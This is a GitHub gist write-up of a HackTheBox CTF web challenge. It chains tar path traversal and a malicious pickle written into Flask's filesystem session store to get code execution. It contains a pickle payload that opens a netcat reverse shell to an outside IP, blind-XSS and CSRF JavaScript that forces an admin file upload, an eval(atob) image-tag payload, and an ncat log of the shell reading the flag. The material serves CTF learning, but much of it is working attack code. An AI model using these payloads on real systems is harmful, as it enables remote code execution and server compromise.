Last active
March 7, 2023 13:54
-
-
Save pich4ya/fa26c091c989db14234b2f9aa81fedbc to your computer and use it in GitHub Desktop.
HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Acnologia Portal Writeup
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# author Pichaya Morimoto ([email protected]) | |
1. Register and Login | |
2. Submit Bug Report | |
Vulns: | |
- Tar Unzip Path Traversal | |
- Tar content => Overwrite flask_session's file type | |
Challenge file: config.py | |
class Config(object): | |
SECRET_KEY = generate(50) | |
UPLOAD_FOLDER = f'{os.getcwd()}/application/static/firmware_extract' | |
[...] | |
SESSION_TYPE = 'filesystem' | |
After reading things from: | |
/lib/python3.9/site-packages/flask_session/sessions.py | |
/lib/python3.9/site-packages/cachelib/{file.py,serializers.py} | |
Session type 'filesystem' is actually a Pickle serialized file-based cookie. | |
MD5 of cookie name => session file name | |
Cookie: session=b65d12b3-e9ba-423c-adfa-6f2a72b228ed | |
md5(b65d12b3-e9ba-423c-adfa-6f2a72b228ed) = c772baf4518b283715a0e4fa68807b4a | |
It's a standard pickle serialization with first 4 bytes is expiry. ignore with \x00 * 4 (if condition in code). | |
open('c772baf4518b283715a0e4fa68807b4a', 'wb').write(b"\x00\x00\x00\x00cos\nsystem\n(S'nc 1.2.3.4 1234 -e /bin/sh'\ntR.'\ntR.") | |
python tarbomb.py c772baf4518b283715a0e4fa68807b4a exploit.tar.gz 10 app/flask_session/ | |
(tarbomb.py https://gist.github.com/pich4ya/8252921050859a2d831a68aed83e2454) | |
- Blind XSS forces Admin to upload .tar | |
3. I craft the admin upload AJAX request by | |
- locally change admin's pwd | |
- login to get a local admin's cookie | |
curl -F "file=@/path/to/exploit.tar.gz" --proxy http://127.0.0.1:8080 --cookie "session=e9959b0f-64eb-4246-856c-27b4cb2bdd21" http://mymachine.local:1337/api/firmware/upload | |
- use Burp Pro to generate CSRF PoC -> you will get JavaScript for admin file upload | |
var xhr = new XMLHttpRequest(); | |
xhr.open("POST", "http:\/\/1.2.3.4:32367\/api\/firmware\/upload", true); | |
xhr.setRequestHeader("Accept", "*\/*"); | |
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=------------------------e487cf83e6cd4943"); | |
xhr.withCredentials = true; | |
var body = "--------------------------e487cf83e6cd4943\r\n" + | |
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.tar.gz\"\r\n" + | |
"Content-Type: application/octet-stream\r\n" + | |
"\r\n" + | |
"\x1f\x8b[...]xde;\xb2\xb7\x8c-\x00(\x00\x00\r\n" + | |
"--------------------------e487cf83e6cd4943--\r\n"; | |
var aBody = new Uint8Array(body.length); | |
for (var i = 0; i < aBody.length; i++){ | |
aBody[i] = body.charCodeAt(i); | |
} | |
xhr.send(new Blob([aBody])); | |
I also do: | |
<img src=x onerror=eval(atob("<b64>"))> | |
4. Combine all shit | |
XSS admin to upload exploit.tar.gz. | |
$ ncat -lvp 1234 | |
Ncat: Version 7.80 ( https://nmap.org/ncat ) | |
Ncat: Listening on :::1234 | |
Ncat: Listening on 0.0.0.0:1234 | |
Ncat: Connection from 138.68.150.120. | |
Ncat: Connection from 138.68.150.120:35805. | |
id | |
uid=1000(www) gid=1000(www) groups=1000(www) | |
pwd | |
/app | |
cd .. | |
ls | |
app | |
bin | |
dev | |
etc | |
flag.txt | |
home | |
lib | |
media | |
mnt | |
opt | |
proc | |
root | |
run | |
sbin | |
srv | |
sys | |
tmp | |
usr | |
var | |
cat flag.txt | |
HTB{des3r1aliz3_4ll_th3_th1ngs} |
I figured later that there are more elegant ways to perform XSS file upload then my code.
Example:
<img src=x onerror="fd=new(FormData);fd.append('file',new(Blob)([new Uint8Array([31,139,[...],0,40,0,0]).buffer],{type:'application/octet-stream'})),fetch('/api/firmware/upload',{method:'post',body:fd})">
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
A random guy on Discord asked me how do I come up with the payload below.
In short, I read the code to see how it works.
Here we go !
File: /lib/python3.9/site-packages/flask_session/sessions.py
File: /lib/python3.9/site-packages/cachelib/file.py
File: /lib/python3.9/site-packages/cachelib/serializers.py
And it is known to the public that doing pickle.load() with a user-supplied input can result in RCE according to the OWASP Top 10 A08:2021-Software and Data Integrity Failure.
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#python
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md
To obtain the exploit payload text string: